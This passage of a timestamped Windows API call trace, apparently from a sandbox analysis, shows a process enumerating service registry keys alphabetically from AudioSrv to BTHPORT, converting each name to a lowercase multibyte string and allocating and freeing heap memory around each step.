(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.457] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.457] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.457] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0217.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.458] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.458] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.458] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.458] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0217.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.459] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.459] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.459] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0217.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.460] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0217.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0217.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.460] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0217.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0217.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.460] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0217.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.463] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.463] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.463] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.464] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.464] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.464] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0217.464] RtlAllocateHeap (HeapHandle=0x2520000, 